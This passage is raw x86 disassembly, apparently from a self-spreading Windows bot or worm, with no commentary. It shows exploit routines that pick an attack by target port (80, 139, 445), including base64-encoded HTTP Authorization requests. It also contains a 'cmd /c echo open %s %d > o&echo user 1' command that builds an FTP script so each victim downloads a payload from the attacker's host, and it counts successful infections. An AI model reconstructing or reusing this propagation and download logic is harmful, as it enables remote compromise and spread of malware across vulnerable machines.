		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40CB34
		lea	ecx, [ebp+var_58]
		call	sub_40CC68
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CD7F
		lea	ecx, [ebp+var_58]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CD16
		push	4
		push	offset dword_43203C
		lea	ecx, [ebp+var_18]
		call	sub_40CCE2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CCE2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_18]
		call	sub_40CC68
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CD33
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CD33
		lea	ecx, [ebp+var_40]
		call	sub_40CD43
		lea	ecx, [ebp+var_18]
		call	sub_40CBC3
		lea	ecx, [ebp+var_50]
		call	sub_40CBC3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CD33
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CD33
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CD33
		lea	ecx, [ebp+var_38]
		call	sub_40CD43
		lea	ecx, [ebp+var_20]
		call	sub_40CBC3
		lea	ecx, [ebp+var_30]
		call	sub_40CBC3
		lea	ecx, [ebp+var_40]
		call	sub_40CBC3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CCE2
		lea	ecx, [ebp+var_28]
		call	sub_40CC68
		push	2
		push	offset dword_4323A8
		lea	ecx, [ebp+var_28]
		call	sub_40CCE2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CD33
		lea	ecx, [ebp+var_28]
		call	sub_40CD43
		lea	ecx, [ebp+var_38]
		call	sub_40CBC3
		lea	ecx, [ebp+var_10]
		call	sub_40CB2A
		lea	ecx, [ebp+var_8]
		call	sub_40CB2A
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_28]
		call	sub_40CBC3
		push	offset dword_4323A4
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	offset dword_4323A0
		lea	ecx, [ebp+var_10]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_10]
		call	sub_40CBDC
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		push	offset dword_432394
		lea	ecx, [ebp+var_8]
		call	sub_40CD16
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		lea	ecx, [ebp+var_10]
		call	sub_40CBC3
		push	(offset	loc_43238F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CD16
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CD33
		lea	ecx, [ebp+var_8]
		call	sub_40CBC3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40D100
; ---------------------------------------------------------------------------


loc_40D0F2:				; CODE XREF: sub_40CD9E+1Bj
					; sub_40CD9E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40D100:				; CODE XREF: sub_40CD9E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CD9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D104	proc near		; CODE XREF: sub_40D1C8+A1p
					; sub_40D1C8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		nop
		call	near ptr 71AB1890h
		cmp	eax, edi
		jnz	short loc_40D16B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40D16F


loc_40D16B:				; CODE XREF: sub_40D104+54j
		xor	eax, eax
		jmp	short loc_40D17F
; ---------------------------------------------------------------------------


loc_40D16F:				; CODE XREF: sub_40D104+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB9EC


loc_40D17F:				; CODE XREF: sub_40D104+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40D104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D183	proc near		; CODE XREF: sub_40D1C8+81p
					; sub_40D1C8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CB9D0
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 4
		jz	short loc_40D1AD
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D1AD:				; CODE XREF: sub_40D183+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CBA24
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40D183	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D1C8	proc near		; CODE XREF: sub_40D2A2+48p
					; ___:0040D716p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40D1F1
		xor	al, al
		jmp	loc_40D29D
; ---------------------------------------------------------------------------


loc_40D1F1:				; CODE XREF: sub_40D1C8+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BF70
		push	2Fh
		push	offset dword_4320CC
		push	esi
		call	sub_41CD20
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4320FC
		push	eax
		mov	[esi+2Fh], di
		call	sub_41CD20
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41CD20
		push	6
		add	ebx, edi
		push	offset dword_4CE6EC
		push	ebx
		call	sub_41CD20
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_432044
		push	ebx
		call	sub_40D183
		add	esp, 48h
		test	al, al
		jnz	short loc_40D259


loc_40D255:				; CODE XREF: sub_40D1C8+B5j
		xor	bl, bl
		jmp	short loc_40D294
; ---------------------------------------------------------------------------


loc_40D259:				; CODE XREF: sub_40D1C8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40D183
		add	esp, 1Ch
		test	al, al
		jz	short loc_40D255
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40D104
		add	esp, 10h
		mov	bl, 1


loc_40D294:				; CODE XREF: sub_40D1C8+8Fj
		push	esi
		call	sub_41BA91
		pop	ecx
		mov	al, bl


loc_40D29D:				; CODE XREF: sub_40D1C8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D1C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2A2	proc near		; CODE XREF: ___:0040D6FCp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_432108
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D2DD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40D104
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D2DD
		cmp	[ebp+var_20], 82h
		jz	short loc_40D2E1


loc_40D2DD:				; CODE XREF: sub_40D2A2+1Bj
					; sub_40D2A2+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D2E1:				; CODE XREF: sub_40D2A2+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D1C8
		add	esp, 0Ch
		leave
		retn
sub_40D2A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D2F4	proc near		; CODE XREF: sub_40D340+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427670
		call	sub_41D174
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427668
		fstp	[esp+10h+var_10]
		call	sub_41D055
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41D174
		inc	eax
		leave
		retn
sub_40D2F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D340	proc near		; CODE XREF: sub_40D4E2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426AA7
		call	sub_41D640
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D977
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D2F4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D382
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D8F2


loc_40D382:				; CODE XREF: sub_40D340+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D49F
		mov	ebx, [ebp+10h]


loc_40D391:				; CODE XREF: sub_40D340+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D39B
		push	3
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D39B:				; CODE XREF: sub_40D340+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D3A5
		push	2
		jmp	short loc_40D3AD
; ---------------------------------------------------------------------------


loc_40D3A5:				; CODE XREF: sub_40D340+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D3AE
		push	1


loc_40D3AD:				; CODE XREF: sub_40D340+59j
					; sub_40D340+63j
		pop	ebx


loc_40D3AE:				; CODE XREF: sub_40D340+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427680
		fstp	[esp+40h+var_40]
		call	sub_41D19B
		pop	ecx
		pop	ecx
		call	sub_41D174
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D3ED
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D3ED:				; CODE XREF: sub_40D340+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D45B
		add	[ebp-18h], eax


loc_40D43F:				; CODE XREF: sub_40D340+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432154[eax]
		push	eax
		push	1
		call	sub_40D774
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D43F


loc_40D45B:				; CODE XREF: sub_40D340+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D479
		push	dword ptr [ebp+14h]
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D7CD
		mov	[ebp-18h], edi


loc_40D479:				; CODE XREF: sub_40D340+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D493
		sub	esi, [ebp-1Ch]


loc_40D484:				; CODE XREF: sub_40D340+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D774
		dec	esi
		jnz	short loc_40D484


loc_40D493:				; CODE XREF: sub_40D340+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D391
		push	1
		pop	ebx


loc_40D49F:				; CODE XREF: sub_40D340+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		push	dword_427678
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D824
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D4E2	proc near		; CODE XREF: ___:0040D6DFp
		mov	eax, offset loc_426AC4
		call	sub_41D640
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43DB88
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D340
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BEB5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D52C
		xor	bl, bl
		jmp	short loc_40D570
; ---------------------------------------------------------------------------


loc_40D52C:				; CODE XREF: sub_40D4E2+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_427688
		cmp	ecx, ebx
		jnz	short loc_40D53A
		mov	ecx, eax


loc_40D53A:				; CODE XREF: sub_40D4E2+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D542
		mov	eax, [ebp+18h]


loc_40D542:				; CODE XREF: sub_40D4E2+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C360
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, esi
		jz	short loc_40D567
		xor	bl, bl
		jmp	short loc_40D569
; ---------------------------------------------------------------------------


loc_40D567:				; CODE XREF: sub_40D4E2+7Fj
		mov	bl, 1


loc_40D569:				; CODE XREF: sub_40D4E2+83j
		push	edi
		call	sub_41BA91
		pop	ecx


loc_40D570:				; CODE XREF: sub_40D4E2+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D977
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D977
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D4E2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432300
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB710
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C360
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432198
		push	eax
		call	sub_40CD9E
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D63B
		xor	eax, eax
		jmp	loc_40D767
; ---------------------------------------------------------------------------


loc_40D63B:				; CODE XREF: ___:0040D632j
		mov	[ebp-0Ch], esi


loc_40D63E:				; CODE XREF: ___:0040D73Ej
		test	esi, esi
		jnz	loc_40D744
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D72C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB9D4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D721
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D6E9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D977
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D9B3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D4E2
		add	esp, 1Ch
		jmp	short loc_40D71E
; ---------------------------------------------------------------------------


loc_40D6E9:				; CODE XREF: ___:0040D6A7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D703
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D2A2
		jmp	short loc_40D71B
; ---------------------------------------------------------------------------


loc_40D703:				; CODE XREF: ___:0040D6F3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D721
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D1C8


loc_40D71B:				; CODE XREF: ___:0040D701j
		add	esp, 0Ch


loc_40D71E:				; CODE XREF: ___:0040D6E7j
		movzx	esi, al


loc_40D721:				; CODE XREF: ___:0040D69Aj
					; ___:0040D70Dj
		push	ebx
		call	dword_4CBA6C
		test	esi, esi
		jnz	short loc_40D737


loc_40D72C:				; CODE XREF: ___:0040D657j
		push	3E8h
		call	near ptr 269040Ah
		nop


loc_40D737:				; CODE XREF: ___:0040D72Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D63E


loc_40D744:				; CODE XREF: ___:0040D640j
		lea	ecx, [ebp-8]
		call	sub_40CBC3
		test	esi, esi
		jz	short loc_40D765
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40D765:				; CODE XREF: ___:0040D74Ej
		mov	eax, esi


loc_40D767:				; CODE XREF: ___:0040D636j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A88


loc_40D76C:				; CODE XREF: sub_426A88+3j
					; ___:00426AA1j ...
		push	1
		call	sub_40D977
		retn
; END OF FUNCTION CHUNK	FOR sub_426A88

; =============== S U B	R O U T	I N E =======================================



sub_40D774	proc near		; CODE XREF: sub_40D340+110p
					; sub_40D340+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D78E
		call	sub_42629A


loc_40D78E:				; CODE XREF: sub_40D774+13j
		test	ebx, ebx
		jbe	short loc_40D7C5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D7C5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BF70
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D7C5:				; CODE XREF: sub_40D774+1Cj
					; sub_40D774+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D774	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D7CD	proc near		; CODE XREF: sub_40D340+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427678
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D7E7
		call	sub_42629A


loc_40D7E7:				; CODE XREF: sub_40D7CD+13j
		test	ebx, ebx
		jbe	short loc_40D81C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D81C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D81C:				; CODE XREF: sub_40D7CD+1Cj
					; sub_40D7CD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D7CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D824	proc near		; CODE XREF: sub_40D340+17Cp
					; sub_4261B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D83C
		call	sub_426173


loc_40D83C:				; CODE XREF: sub_40D824+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D84E
		mov	esi, [ebp+arg_8]


loc_40D84E:				; CODE XREF: sub_40D824+25j
		cmp	edi, ebx
		jnz	short loc_40D870
		push	dword_427678
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D9E8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D9E8
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D870:				; CODE XREF: sub_40D824+2Cj
		test	esi, esi
		jbe	short loc_40D8B3
		cmp	esi, eax
		jnz	short loc_40D8B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D884
		mov	eax, offset dword_427688


loc_40D884:				; CODE XREF: sub_40D824+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D8B3
		push	1
		mov	ecx, edi
		call	sub_40D977
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D89F
		mov	eax, offset dword_427688


loc_40D89F:				; CODE XREF: sub_40D824+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D8E9
; ---------------------------------------------------------------------------


loc_40D8B3:				; CODE XREF: sub_40D824+4Ej
					; sub_40D824+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D8E9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D8CD
		mov	eax, offset dword_427688


loc_40D8CD:				; CODE XREF: sub_40D824+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41CD20
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D8E9:				; CODE XREF: sub_40D824+4Aj
					; sub_40D824+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D824	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8F2	proc near		; CODE XREF: sub_40D340+3Dp
					; sub_40D774+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D904
		call	sub_42629A


loc_40D904:				; CODE XREF: sub_40D8F2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D92D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D92D
		cmp	al, 0FFh
		jz	short loc_40D92D
		cmp	edi, edx
		jnz	short loc_40D968
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D922:				; CODE XREF: sub_40D8F2+47j
		mov	ecx, esi
		call	sub_40D977


loc_40D929:				; CODE XREF: sub_40D8F2+4Bj
					; sub_40D8F2+52j
		xor	al, al
		jmp	short loc_40D972
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_40D8F2+19j
					; sub_40D8F2+20j ...
		cmp	edi, edx
		jnz	short loc_40D946
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D93B
		push	1
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D93B:				; CODE XREF: sub_40D8F2+43j
		cmp	ecx, edx
		jz	short loc_40D929
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D929
; ---------------------------------------------------------------------------


loc_40D946:				; CODE XREF: sub_40D8F2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D963
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D958
		cmp	eax, edi
		jnb	short loc_40D970


loc_40D958:				; CODE XREF: sub_40D8F2+60j
		push	1
		mov	ecx, esi
		call	sub_40D977
		jmp	short loc_40D968
; ---------------------------------------------------------------------------


